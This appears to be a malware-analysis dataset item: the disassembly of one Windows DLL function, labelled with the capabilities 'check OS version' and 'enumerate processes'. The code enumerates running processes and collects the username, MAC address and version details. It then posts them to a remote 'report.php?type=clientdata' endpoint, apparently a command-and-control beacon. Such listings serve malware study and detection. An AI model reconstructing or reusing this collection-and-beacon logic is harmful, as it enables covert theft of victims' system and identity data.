Function at 0x10001fb0
Capabilities:
Check os version
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x1002a1eb
mov eax, dword fs:[0]
push eax
sub esp, 0x4c0
mov eax, dword [0x1003b030]
xor eax, esp
mov dword [esp + 0x4b8], eax
push ebx
push esi
push edi
mov eax, dword [0x1003b030]
xor eax, esp
push eax
lea eax, [esp + 0x4d0]
mov dword fs:[0], eax
mov eax, dword [ebp + 8]
mov dword [esp + 0x30], eax
call fcn.10001790
call fcn.10001840
push 0x100018f0
call dword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov edi, eax
mov dword [esp + 0x18], edi
mov dword [esp + 0x24], 0
jmp 0x10002026
mov edi, dword [esp + 0x18]
push 0
push 2
mov dword [esp + 0x40], 0
mov dword [esp + 0x94], 0x22c
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
lea ecx, [esp + 0x8c]
mov esi, eax
push ecx
push esi
mov dword [esp + 0x3c], esi
call sub.KERNEL32.dll_Process32FirstW
test eax, eax
je 0x1000225a
lea edx, [esp + 0x8c]
push edx
push esi
call sub.KERNEL32.dll_Process32NextW
test eax, eax
je 0x10002236
mov ebx, dword [esp + 0x94]
cmp edi, ebx
je 0x10002096
lea eax, [esp + 0x8c]
push eax
push esi
call sub.KERNEL32.dll_Process32NextW
test eax, eax
jne 0x10002074
jmp 0x10002236
mov edx, dword [0x1004130c]
mov eax, dword [edx + 0xc]
mov ecx, 0x1004130c
call eax
lea esi, [eax + 0x10]
mov dword [esp + 0x1c], esi
mov dword [esp + 0x4d8], 0
mov eax, dword [esi - 8]
mov ecx, 1
sub ecx, dword [esi - 4]
sub eax, 0x104
or eax, ecx
jge 0x100020de
mov ecx, 0x104
lea eax, [esp + 0x1c]
call fcn.100015d0
mov esi, dword [esp + 0x1c]
push ebx
push 0
push 0x410
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
test edi, edi
je 0x100020fe
call fcn.10001f40
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [esi - 8]
push eax
push esi
call fcn.10019455
add esp, 8
test eax, eax
jl 0x10002326
cmp eax, dword [esi - 8]
jg 0x10002326
mov dword [esi - 0xc], eax
xor ecx, ecx
mov word [esi + eax*2], cx
mov edx, dword [0x1004130c]
mov eax, dword [edx + 0xc]
mov ecx, 0x1004130c
call eax
add eax, 0x10
mov dword [esp + 0x18], eax
lea ecx, [esp + 0x14]
push ecx
mov ecx, esi
mov byte [esp + 0x4dc], 1
call fcn.10002ea0
mov byte [esp + 0x4d8], 2
mov edx, dword [eax]
mov eax, dword [esp + 0xa4]
push edx
push eax
push ebx
push str.pid__d__ppid__d___s
lea edi, [esp + 0x28]
call fcn.10004410
mov byte [esp + 0x4e8], 1
mov eax, dword [esp + 0x24]
add eax, 0xfffffff0
add esp, 0x10
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x1000219d
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
push 0x1002cf54
push 0x10041fd8
mov edx, 1
call fcn.10003c10
mov edi, dword [esp + 0x18]
test edi, edi
jne 0x100021bd
xor eax, eax
jmp 0x100021cb
mov eax, edi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x100021c2
sub eax, edx
push edi
push 0x10041fd8
mov edx, eax
call fcn.10003c10
mov ecx, dword [esp + 0xa4]
lea eax, [edi - 0x10]
mov dword [esp + 0x18], ecx
mov dword [esp + 0x38], 1
mov byte [esp + 0x4d8], 0
lea edx, [eax + 0xc]
or ecx, 0xffffffff
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x1000220f
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
lea eax, [esi - 0x10]
mov dword [esp + 0x4d8], 0xffffffff
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x10002236
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov ecx, dword [esp + 0x34]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [esp + 0x38], 0
je 0x1000225a
mov eax, dword [esp + 0x24]
inc eax
cmp eax, 0xa
mov dword [esp + 0x24], eax
jl 0x10002022
call fcn.10017ea0
xor ebx, ebx
lea edi, [esp + 0x14]
lea esi, [esp + 0x1c]
mov dword [esp + 0x1c], ebx
mov dword [esp + 0x14], ebx
call fcn.10009da0
cmp eax, ebx
je 0x10002286
cmp dword [esp + 0x1c], 6
jbe 0x10002286
call fcn.10009e50
lea edx, [esp + 0x44]
push edx
mov ecx, 0x1002d0ac
call fcn.10003000
mov dword [esp + 0x4d8], 3
mov eax, dword [0x1004130c]
mov edx, dword [eax + 0xc]
mov ecx, 0x1004130c
call edx
lea edi, [eax + 0x10]
mov dword [esp + 0x20], edi
mov byte [esp + 0x4d8], 4
mov eax, dword [0x1004130c]
mov edx, dword [eax + 0xc]
mov ecx, 0x1004130c
call edx
add eax, 0x10
mov dword [esp + 0x1c], eax
mov byte [esp + 0x4d8], 5
mov edx, dword [esp + 0x44]
mov ecx, dword [edx - 0xc]
cmp ecx, ebx
jle 0x10002335
lea eax, [edx - 0x10]
lea esi, [edi - 0x10]
cmp eax, esi
je 0x10002363
cmp dword [esi + 0xc], 0
lea edi, [esi + 0xc]
jl 0x10002330
mov ebx, dword [eax]
cmp ebx, dword [esi]
jne 0x10002330
call fcn.100014f0
mov ebx, eax
or eax, 0xffffffff
lock xadd dword [edi], eax
dec eax
test eax, eax
jg 0x1000231d
mov ecx, dword [esi]
mov edx, dword [ecx]
mov eax, dword [edx + 4]
push esi
call eax
add ebx, 0x10
mov dword [esp + 0x20], ebx
jmp 0x1000235f
push 0x80070057
call fcn.10001770
push edx
mov ebx, ecx
jmp 0x10002356
mov eax, str.vps103
lea edx, [eax + 2]
lea ecx, [ecx]
mov cx, word [eax]
add eax, 2
cmp cx, bx
jne 0x10002340
sub eax, edx
sar eax, 1
push str.vps103
mov ebx, eax
lea eax, [esp + 0x24]
call fcn.10001450
mov edi, dword [esp + 0x20]
mov eax, 0x10041048
lea edx, [eax + 2]
jmp 0x10002370
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x10002370
sub eax, edx
sar eax, 1
mov ebx, eax
push 0x10041048
lea eax, [esp + 0x20]
call fcn.10001450
lea esi, [esp + 0x14]
call fcn.100176f0
mov byte [esp + 0x4d8], 6
mov esi, dword [eax]
mov ebx, dword [esp + 0x1c]
push esi
push ebx
push edi
call fcn.10001020
add esp, 0xc
test eax, eax
jne 0x100023c4
push esi
push ebx
push edi
call fcn.10001130
add esp, 0xc
test eax, eax
je 0x100023c9
mov eax, 1
cmp eax, 1
mov byte [esp + 0x4d8], 5
mov eax, dword [esp + 0x14]
sete byte [esp + 0x2f]
add eax, 0xfffffff0
or esi, 0xffffffff
lea ecx, [eax + 0xc]
mov edx, esi
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x100023fb
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
cmp byte [esp + 0x2f], 0
je 0x10002494
lea eax, [ebx - 0x10]
mov edx, esi
lea ecx, [eax + 0xc]
mov byte [esp + 0x4d8], 4
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x10002429
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
lea eax, [edi - 0x10]
mov byte [esp + 0x4d8], 3
lea ecx, [eax + 0xc]
mov edx, esi
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x1000244c
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov dword [esp + 0x4d8], esi
mov eax, dword [esp + 0x44]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
lock xadd dword [ecx], esi
dec esi
test esi, esi
jg 0x10002470
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov ecx, dword [esp + 0x4d0]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x4b8]
xor ecx, esp
call fcn.100186a4
mov esp, ebp
pop ebp
ret
mov ecx, edi
call fcn.100019c0
test eax, eax
jne 0x10002406
mov edx, dword [0x1004130c]
mov eax, dword [edx + 0xc]
mov ecx, 0x1004130c
call eax
add eax, 0x10
mov dword [esp + 0x34], eax
mov byte [esp + 0x4d8], 7
mov edx, dword [0x1004130c]
mov eax, dword [edx + 0xc]
mov ecx, 0x1004130c
call eax
add eax, 0x10
mov dword [esp + 0x18], eax
lea ecx, [esp + 0x18]
push ecx
lea edx, [esp + 0x38]
mov byte [esp + 0x4dc], 8
mov eax, dword [esp + 0x34]
push edx
push eax
mov ecx, ebx
mov edx, edi
call fcn.1000be70
add esp, 0xc
call fcn.10017ea0
mov edx, dword [0x1004130c]
mov eax, dword [edx + 0xc]
mov ecx, 0x1004130c
call eax
lea edi, [eax + 0x10]
mov dword [esp + 0x38], edi
mov byte [esp + 0x4d8], 9
test byte [0x10042154], 1
jne 0x1000254c
or dword [0x10042154], 1
push 0x1c
lea ecx, [esp + 0x50]
push ecx
push 0x10008be0
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
mov edx, dword [esp + 0x50]
mov dword [0x10042150], edx
mov ecx, dword [0x10042150]
push 0x104
lea eax, [esp + 0x2c0]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov eax, dword [edi - 8]
mov ecx, 1
sub ecx, dword [edi - 4]
sub eax, 0x104
or eax, ecx
jge 0x1000258c
mov ecx, 0x104
lea eax, [esp + 0x38]
call fcn.100015d0
mov edi, dword [esp + 0x38]
push edi
lea ebx, [esp + 0x2c0]
call fcn.1000fee0
mov eax, dword [edi - 8]
add esp, 4
push eax
push edi
call fcn.10019455
add esp, 8
test eax, eax
jl 0x10002326
cmp eax, dword [edi - 8]
jg 0x10002326
mov dword [edi - 0xc], eax
xor edx, edx
mov word [edi + eax*2], dx
lea eax, [esp + 0x48]
push eax
mov ecx, 0x1002d2e0
call fcn.10002f50
mov byte [esp + 0x4d8], 0xa
mov edx, dword [0x1004130c]
mov eax, dword [edx + 0xc]
mov ecx, 0x1004130c
call eax
add eax, 0x10
mov dword [esp + 0x30], eax
lea ecx, [esp + 0x24]
mov byte [esp + 0x4d8], 0xb
push ecx
mov ecx, dword [0x10041fd8]
call fcn.10003000
mov ebx, eax
lea esi, [esp + 0x14]
mov byte [esp + 0x4d8], 0xc
call fcn.100176f0
push edi
push 3
mov byte [esp + 0x4e0], 0xd
mov edx, dword [ebx]
mov ecx, dword [esp + 0x50]
push 2
push edx
mov edx, dword [eax]
mov eax, dword [esp + 0x30]
push ecx
push edx
push eax
push str.username_s__mac_s__error_s_s__worktype_d_d__version_s
lea edi, [esp + 0x50]
call fcn.100016d0
mov byte [esp + 0x4f8], 0xc
mov eax, dword [esp + 0x34]
add eax, 0xfffffff0
add esp, 0x20
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x10002672
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0x4d8], 0xb
mov eax, dword [esp + 0x24]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x1000269a
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov edx, dword [0x1004130c]
mov eax, dword [edx + 0xc]
mov ecx, 0x1004130c
call eax
add eax, 0x10
mov dword [esp + 0x24], eax
mov byte [esp + 0x4d8], 0xe
mov edx, dword [esp + 0x30]
push 1
lea ecx, [esp + 0x18]
call fcn.10016490
add esp, 4
mov byte [esp + 0x4d8], 0xf
mov ecx, dword [eax]
push ecx
push str._report.php_typeclientdata_s
lea edi, [esp + 0x2c]
call fcn.100016d0
mov byte [esp + 0x4e0], 0xe
mov eax, dword [esp + 0x1c]
add eax, 0xfffffff0
add esp, 8
lea edx, [eax + 0xc]
or ecx, 0xffffffff
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x1000270f
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov edi, dword [esp + 0x34]
xor esi, esi
cmp dword [edi - 0xc], esi
jle 0x100028dc
mov edx, dword [0x1004130c]
mov eax, dword [edx + 0xc]
mov ecx, 0x1004130c
call eax
lea ecx, [eax + 0x10]
mov dword [esp + 0x28], ecx
lea eax, [edi - 0x10]
lea edi, [ecx - 0x10]
mov byte [esp + 0x4d8], 0x10
cmp eax, edi
je 0x1000278c
cmp dword [edi + 0xc], esi
lea ebx, [edi + 0xc]
jl 0x1000277b
mov ecx, dword [eax]
cmp ecx, dword [edi]
jne 0x1000277b
call fcn.100014f0
mov esi, eax
or edx, 0xffffffff
lock xadd dword [ebx], edx
dec edx
test edx, edx
jg 0x10002772
mov ecx, dword [edi]
mov eax, dword [ecx]
mov edx, dword [eax + 4]
push edi
call edx
add esi, 0x10
mov dword [esp + 0x28], esi
jmp 0x1000278c
mov eax, dword [esp + 0x34]
mov ebx, dword [eax - 0xc]
push eax
lea eax, [esp + 0x2c]
call fcn.10001450
lea eax, [esp + 0x28]
push eax
call fcn.10003110
mov edx, dword [0x1004130c]
mov eax, dword [edx + 0xc]
mov ecx, 0x1004130c
call eax
add eax, 0x10
mov dword [esp + 0x14], eax
mov bl, 0x11
mov byte [esp + 0x4d8], bl
mov edx, dword [esp + 0x30]
push 1
lea ecx, [esp + 0x40]
call fcn.10016490
add esp, 4
mov byte [esp + 0x4d8], 0x12
mov ecx, dword [eax]
mov edx, dword [esp + 0x18]
push ecx
push edx
push str.https:___s_report.php_typeclientdata_s
lea edi, [esp + 0x20]
call fcn.100016d0
mov byte [esp + 0x4e4], bl
mov eax, dword [esp + 0x48]
add eax, 0xfffffff0
add esp, 0xc
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x10002810
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
lea ecx, [esp + 0x40]
push str.Host:
push ecx
lea ecx, [esp + 0x30]
call fcn.10001270
mov byte [esp + 0x4e0], 0x13
mov eax, dword [eax]
mov esi, dword [esp + 0x1c]
push eax
mov edx, esi
lea ecx, [esp + 0x48]
call fcn.10001bc0
mov eax, dword [esp + 0x48]
add eax, 0xfffffff0
add esp, 0xc
lea edx, [eax + 0xc]
or ecx, 0xffffffff
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x10002860
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0x4d8], bl
mov eax, dword [esp + 0x40]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x10002887
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
lea eax, [esi - 0x10]
mov byte [esp + 0x4d8], 0x10
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x100028ab
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0x4d8], 0xe
mov eax, dword [esp + 0x28]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x10002a93
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
jmp 0x10002a93
lea ecx, [esp + 0x6c]
push ecx
call fcn.10003760
mov dword [esp + 0x4c], esi
mov dword [esp + 0x54], esi
mov dword [esp + 0x58], esi
mov byte [esp + 0x4d8], 0x15
mov edx, dword [0x1004130c]
mov eax, dword [edx + 0xc]
mov ecx, 0x1004130c
call eax
add eax, 0x10
mov dword [esp + 0x14], eax
mov byte [esp + 0x4d8], 0x16
mov edx, dword [0x1004130c]
mov eax, dword [edx + 0xc]
mov ecx, 0x1004130c
call eax
add eax, 0x10
mov dword [esp + 0x28], eax
mov bl, 0x17
mov edx, str.035eebbf588b9c839b68bd177d4d70ac5e3e9fdc3632b43a617d75452128e81c4e033423e2abd7becedc34bdf3c5ffd9
lea ecx, [esp + 0x40]
mov byte [esp + 0x4d8], bl
call fcn.10016670
lea edi, [esp + 0x14]
mov byte [esp + 0x4d8], 0x18
call fcn.10001360
mov byte [esp + 0x4d8], bl
mov eax, dword [esp + 0x40]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x1000297f
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov edi, dword [esp + 0x14]
lea ecx, [esp + 0x3c]
push ecx
mov ecx, edi
call fcn.10002ea0
mov byte [esp + 0x4d8], 0x19
mov eax, dword [eax]
push eax
lea edx, [esp + 0x44]
push edx
call fcn.100052f0
add esp, 8
mov byte [esp + 0x4d8], 0x1a
mov ebx, dword [eax]
lea eax, [esp + 0x28]
call fcn.10003090
mov byte [esp + 0x4d8], 0x19
mov eax, dword [esp + 0x40]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x100029e2
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0x4d8], 0x17
mov eax, dword [esp + 0x3c]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x10002a0a
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, dword [esp + 0x24]
mov ebx, dword [esp + 0x28]
lea ecx, [esp + 0x4c]
push ecx
lea edx, [esp + 0x70]
push edx
push eax
push edi
mov ecx, ebx
call fcn.10005540
lea eax, [ebx - 0x10]
add esp, 0x10
mov byte [esp + 0x4d8], 0x16
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x10002a4c
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
lea eax, [edi - 0x10]
mov byte [esp + 0x4d8], 0x15
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x10002a70
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, dword [esp + 0x4c]
test eax, eax
je 0x10002a81
push eax
call fcn.100186b3
add esp, 4
lea ecx, [esp + 0x6c]
push ecx
mov byte [esp + 0x4dc], 0xe
call fcn.10002c00
mov byte [esp + 0x4d8], 0xb
mov eax, dword [esp + 0x24]
add eax, 0xfffffff0
lea edx, [eax + 0xc]
or ecx, 0xffffffff
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x10002abb
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0x4d8], 0xa
mov eax, dword [esp + 0x30]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x10002ae3
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0x4d8], 9
mov eax, dword [esp + 0x48]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x10002b0b
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0x4d8], 8
mov eax, dword [esp + 0x38]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x10002b33
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0x4d8], 7
mov eax, dword [esp + 0x18]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x10002b5b
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0x4d8], 5
mov eax, dword [esp + 0x34]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x10002b83
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0x4d8], 4
mov eax, dword [esp + 0x1c]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x10002bab
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0x4d8], 3
mov eax, dword [esp + 0x20]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x10002bd3
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov dword [esp + 0x4d8], 0xffffffff
mov eax, dword [esp + 0x44]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jmp 0x10002464